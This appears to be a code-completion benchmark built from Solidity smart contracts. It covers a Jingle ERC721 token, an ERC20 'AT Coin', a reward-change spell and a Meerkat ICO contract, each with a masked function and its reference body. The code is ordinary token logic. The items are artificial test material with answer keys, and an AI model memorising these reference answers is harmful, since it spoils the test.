removeJingle(_from, _jingleId);
addJingle(_to, _jingleId);
Approval(_from, 0, _jingleId);
Transfer(_from, _to, _jingleId);
}
function approveAndSell(uint _jingleId, uint _amount) public {
approve(address(marketplaceContract), _jingleId);
marketplaceContract.sell(msg.sender, _jingleId, _amount);
}
function composeJingle(address _owner, uint[5] jingles,
uint[5] jingleTypes, string name, string author) public onlyCryptoJingles {
uint _jingleId = numOfJingles;
uniqueJingles[keccak256(jingles)] = true;
tokensForOwner[_jingleId] = _owner;
tokensOwned[_owner].push(_jingleId);
samplesInJingle[_jingleId] = jingles;
tokenPosInArr[_jingleId] = tokensOwned[_owner].length - 1;
if (bytes(author).length == 0) {
author = "Soundtoshi Nakajingles";
}
jinglesInfo[numOfJingles] = MetaInfo({
name: name,
author: author
});
Composed(numOfJingles, _owner, jingles, jingleTypes, name, author);
numOfJingles++;
}
function addSoundEffect(uint _jingleId, uint[] _effectParams) external {
require(msg.sender == ownerOf(_jingleId));
soundEffects[_jingleId] = _effectParams;
EffectAdded(_jingleId, _effectParams);
}
function implementsERC721() public pure returns (bool) {
return true;
}
function totalSupply() public view returns (uint256) {
return numOfJingles;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return tokensOwned[_owner].length;
}
function ownerOf(uint256 _jingleId) public view returns (address) {<FILL_FUNCTION_BODY> }
function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256) {
return tokensOwned[_owner][_index];
}
function getSamplesForJingle(uint _jingleId) external view returns(uint[]) {
return samplesInJingle[_jingleId];
}
function getAllJingles(address _owner) external view returns(uint[]) {
return tokensOwned[_owner];
}
function getMetaInfo(uint _jingleId) external view returns(string, string) {
return (jinglesInfo[_jingleId].name, jinglesInfo[_jingleId].author);
}
function _getApproved(uint _jingleId) internal view returns (address) {
return tokensForApproved[_jingleId];
}
// Internal functions of the contract
function addJingle(address _owner, uint _jingleId) internal {
tokensForOwner[_jingleId] = _owner;
tokensOwned[_owner].push(_jingleId);
tokenPosInArr[_jingleId] = tokensOwned[_owner].length - 1;
}
// find who owns that jingle and at what position is it in the owners arr
// Swap that token with the last one in arr and delete the end of arr
function removeJingle(address _owner, uint _jingleId) internal {
uint length = tokensOwned[_owner].length;
uint index = tokenPosInArr[_jingleId];
uint swapToken = tokensOwned[_owner][length - 1];
tokensOwned[_owner][index] = swapToken;
tokenPosInArr[swapToken] = index;
delete tokensOwned[_owner][length - 1];
tokensOwned[_owner].length--;
}
// Owner functions
function setCryptoJinglesContract(address _cryptoJingles) public onlyOwner {
require(cryptoJingles == 0x0);
cryptoJingles = _cryptoJingles;
}
function setMarketplaceContract(address _marketplace) public onlyOwner {
require(address(marketplaceContract) == 0x0);
marketplaceContract = Marketplace(_marketplace);
}
} | contract Jingle is Ownable, ERC721 {
struct MetaInfo {
string name;
string author;
}
mapping (uint => address) internal tokensForOwner;
mapping (uint => address) internal tokensForApproved;
mapping (address => uint[]) internal tokensOwned;
mapping (uint => uint) internal tokenPosInArr;
mapping(uint => uint[]) internal samplesInJingle;
mapping(uint => MetaInfo) public jinglesInfo;
mapping(bytes32 => bool) public uniqueJingles;
mapping(uint => uint[]) public soundEffects;
uint public numOfJingles;
address public cryptoJingles;
Marketplace public marketplaceContract;
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event EffectAdded(uint indexed jingleId, uint[] effectParams);
event Composed(uint indexed jingleId, address indexed owner,
uint[5] samples, uint[5] jingleTypes, string name, string author);
modifier onlyCryptoJingles() {
require(msg.sender == cryptoJingles);
_;
}
function Jingle() public {
}
function transfer(address _to, uint256 _jingleId) public {
require(tokensForOwner[_jingleId] != 0x0);
require(tokensForOwner[_jingleId] == msg.sender);
tokensForApproved[_jingleId] = 0x0;
removeJingle(msg.sender, _jingleId);
addJingle(_to, _jingleId);
Approval(msg.sender, 0, _jingleId);
Transfer(msg.sender, _to, _jingleId);
}
function approve(address _to, uint256 _jingleId) public {
require(tokensForOwner[_jingleId] != 0x0);
require(ownerOf(_jingleId) == msg.sender);
require(_to != msg.sender);
if (_getApproved(_jingleId) != 0x0 || _to != 0x0) {
tokensForApproved[_jingleId] = _to;
Approval(msg.sender, _to, _jingleId);
}
}
function transferFrom(address _from, address _to, uint256 _jingleId) public {
require(tokensForOwner[_jingleId] != 0x0);
require(_getApproved(_jingleId) == msg.sender);
require(ownerOf(_jingleId) == _from);
require(_to != 0x0);
tokensForApproved[_jingleId] = 0x0;
removeJingle(_from, _jingleId);
addJingle(_to, _jingleId);
Approval(_from, 0, _jingleId);
Transfer(_from, _to, _jingleId);
}
function approveAndSell(uint _jingleId, uint _amount) public {
approve(address(marketplaceContract), _jingleId);
marketplaceContract.sell(msg.sender, _jingleId, _amount);
}
function composeJingle(address _owner, uint[5] jingles,
uint[5] jingleTypes, string name, string author) public onlyCryptoJingles {
uint _jingleId = numOfJingles;
uniqueJingles[keccak256(jingles)] = true;
tokensForOwner[_jingleId] = _owner;
tokensOwned[_owner].push(_jingleId);
samplesInJingle[_jingleId] = jingles;
tokenPosInArr[_jingleId] = tokensOwned[_owner].length - 1;
if (bytes(author).length == 0) {
author = "Soundtoshi Nakajingles";
}
jinglesInfo[numOfJingles] = MetaInfo({
name: name,
author: author
});
Composed(numOfJingles, _owner, jingles, jingleTypes, name, author);
numOfJingles++;
}
function addSoundEffect(uint _jingleId, uint[] _effectParams) external {
require(msg.sender == ownerOf(_jingleId));
soundEffects[_jingleId] = _effectParams;
EffectAdded(_jingleId, _effectParams);
}
function implementsERC721() public pure returns (bool) {
return true;
}
function totalSupply() public view returns (uint256) {
return numOfJingles;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return tokensOwned[_owner].length;
}
<FILL_FUNCTION>
function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256) {
return tokensOwned[_owner][_index];
}
function getSamplesForJingle(uint _jingleId) external view returns(uint[]) {
return samplesInJingle[_jingleId];
}
function getAllJingles(address _owner) external view returns(uint[]) {
return tokensOwned[_owner];
}
function getMetaInfo(uint _jingleId) external view returns(string, string) {
return (jinglesInfo[_jingleId].name, jinglesInfo[_jingleId].author);
}
function _getApproved(uint _jingleId) internal view returns (address) {
return tokensForApproved[_jingleId];
}
// Internal functions of the contract
function addJingle(address _owner, uint _jingleId) internal {
tokensForOwner[_jingleId] = _owner;
tokensOwned[_owner].push(_jingleId);
tokenPosInArr[_jingleId] = tokensOwned[_owner].length - 1;
}
// find who owns that jingle and at what position is it in the owners arr
// Swap that token with the last one in arr and delete the end of arr
function removeJingle(address _owner, uint _jingleId) internal {
uint length = tokensOwned[_owner].length;
uint index = tokenPosInArr[_jingleId];
uint swapToken = tokensOwned[_owner][length - 1];
tokensOwned[_owner][index] = swapToken;
tokenPosInArr[swapToken] = index;
delete tokensOwned[_owner][length - 1];
tokensOwned[_owner].length--;
}
// Owner functions
function setCryptoJinglesContract(address _cryptoJingles) public onlyOwner {
require(cryptoJingles == 0x0);
cryptoJingles = _cryptoJingles;
}
function setMarketplaceContract(address _marketplace) public onlyOwner {
require(address(marketplaceContract) == 0x0);
marketplaceContract = Marketplace(_marketplace);
}
} |
return tokensForOwner[_jingleId];
| function ownerOf(uint256 _jingleId) public view returns (address) | function ownerOf(uint256 _jingleId) public view returns (address) |
11127 | RewardChangeSpellMainnet | null | contract RewardChangeSpellMainnet is RewardChangeSpell {
constructor(uint256 factor) public {<FILL_FUNCTION_BODY> }
} | contract RewardChangeSpellMainnet is RewardChangeSpell {
<FILL_FUNCTION>
} |
pause = 0x146921eF7A94C50b96cb53Eb9C2CA4EB25D4Bfa8;
setup(address(new RewardChangeDeployerMainnet()), factor);
| constructor(uint256 factor) public | constructor(uint256 factor) public |
45118 | AToken | transferFrom | contract AToken is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev Sets the values for `name`, `symbol`, and `decimals`. All three of
* these values are immutable: they can only be set once during
* construction.
*/
constructor () public {
_name = "AT Coin";
_symbol = "AT";
_decimals = 18;
_mint(msg.sender, 1000000000 * (10 ** uint256(decimals())));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei.
*
* > Note that this information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* `IERC20.balanceOf` and `IERC20.transfer`.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See `IERC20.totalSupply`.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev See `IERC20.balanceOf`.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
/**
* @dev See `IERC20.transfer`.
*
* Requirements:
*
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev See `IERC20.allowance`.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See `IERC20.approve`.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
/**
* @dev See `IERC20.transferFrom`.
*
* Emits an `Approval` event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of `ERC20`;
*
* Requirements:
* - `sender` cannot be the zero address.
* - `sender` must have a balance of at least `value`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {<FILL_FUNCTION_BODY> }
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to `approve` that can be used as a mitigation for
* problems described in `IERC20.approve`.
*
* Emits an `Approval` event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to `approve` that can be used as a mitigation for
* problems described in `IERC20.approve`.
*
* Emits an `Approval` event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to `transfer`, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a `Transfer` event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
if(recipient != address(0)) {
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else {
_burn(sender, amount);
}
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a `Transfer` event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destoys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a `Transfer` event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0), "ERC20: burn from the zero address");
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an `Approval` event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
/**
* @dev Destoys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See `_burn` and `_approve`.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, msg.sender, _allowances[account][msg.sender].sub(amount));
}
} | contract AToken is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev Sets the values for `name`, `symbol`, and `decimals`. All three of
* these values are immutable: they can only be set once during
* construction.
*/
constructor () public {
_name = "AT Coin";
_symbol = "AT";
_decimals = 18;
_mint(msg.sender, 1000000000 * (10 ** uint256(decimals())));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei.
*
* > Note that this information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* `IERC20.balanceOf` and `IERC20.transfer`.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See `IERC20.totalSupply`.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev See `IERC20.balanceOf`.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
/**
* @dev See `IERC20.transfer`.
*
* Requirements:
*
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev See `IERC20.allowance`.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See `IERC20.approve`.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
<FILL_FUNCTION>
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to `approve` that can be used as a mitigation for
* problems described in `IERC20.approve`.
*
* Emits an `Approval` event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to `approve` that can be used as a mitigation for
* problems described in `IERC20.approve`.
*
* Emits an `Approval` event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to `transfer`, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a `Transfer` event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
if(recipient != address(0)) {
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else {
_burn(sender, amount);
}
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a `Transfer` event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destoys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a `Transfer` event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0), "ERC20: burn from the zero address");
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an `Approval` event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
/**
* @dev Destoys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See `_burn` and `_approve`.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, msg.sender, _allowances[account][msg.sender].sub(amount));
}
} |
if(recipient != address(0)) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
} else {
_burnFrom(sender, amount);
}
return true;
| function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) | /**
* @dev See `IERC20.transferFrom`.
*
* Emits an `Approval` event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of `ERC20`;
*
* Requirements:
* - `sender` cannot be the zero address.
* - `sender` must have a balance of at least `value`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) |
48058 | MeerkatICO | TokenLinked | contract MeerkatICO {
iERC20 token;
address owner;
address tokenCo;
uint rateMe;
modifier ownerOnly() {
require(msg.sender == owner);
_;
}
constructor(address mainToken) public {
token = iERC20(mainToken);
tokenCo = mainToken;
owner = msg.sender;
rateMe = 0;
}
function withdrawETH() public ownerOnly {
owner.transfer(address(this).balance);
}
function setRate(uint _rateMe) public ownerOnly {
rateMe = _rateMe;
}
function CurrentRate() public constant returns (uint rate) {
return rateMe;
}
function TokenLinked() public constant returns (address _token, uint _amountLeft) {<FILL_FUNCTION_BODY> }
function transferAnyERC20Token(address tokenAddress, uint tokens) public ownerOnly returns (bool success) {
return iERC20(tokenAddress).transfer(owner, tokens);
}
function () public payable {
require( (msg.value >= 100000000000000000) && (rateMe != 0) );
uint value = msg.value * rateMe;
require(value/msg.value == rateMe);
token.transfer(msg.sender, value);
}
} | contract MeerkatICO {
iERC20 token;
address owner;
address tokenCo;
uint rateMe;
modifier ownerOnly() {
require(msg.sender == owner);
_;
}
constructor(address mainToken) public {
token = iERC20(mainToken);
tokenCo = mainToken;
owner = msg.sender;
rateMe = 0;
}
function withdrawETH() public ownerOnly {
owner.transfer(address(this).balance);
}
function setRate(uint _rateMe) public ownerOnly {
rateMe = _rateMe;
}
function CurrentRate() public constant returns (uint rate) {
return rateMe;
}
<FILL_FUNCTION>
function transferAnyERC20Token(address tokenAddress, uint tokens) public ownerOnly returns (bool success) {
return iERC20(tokenAddress).transfer(owner, tokens);
}
function () public payable {
require( (msg.value >= 100000000000000000) && (rateMe != 0) );
uint value = msg.value * rateMe;
require(value/msg.value == rateMe);
token.transfer(msg.sender, value);
}
} |
return (tokenCo, (token.balanceOf(address(this)) / 10**18)) ;
| function TokenLinked() public constant returns (address _token, uint _amountLeft) | function TokenLinked() public constant returns (address _token, uint _amountLeft) |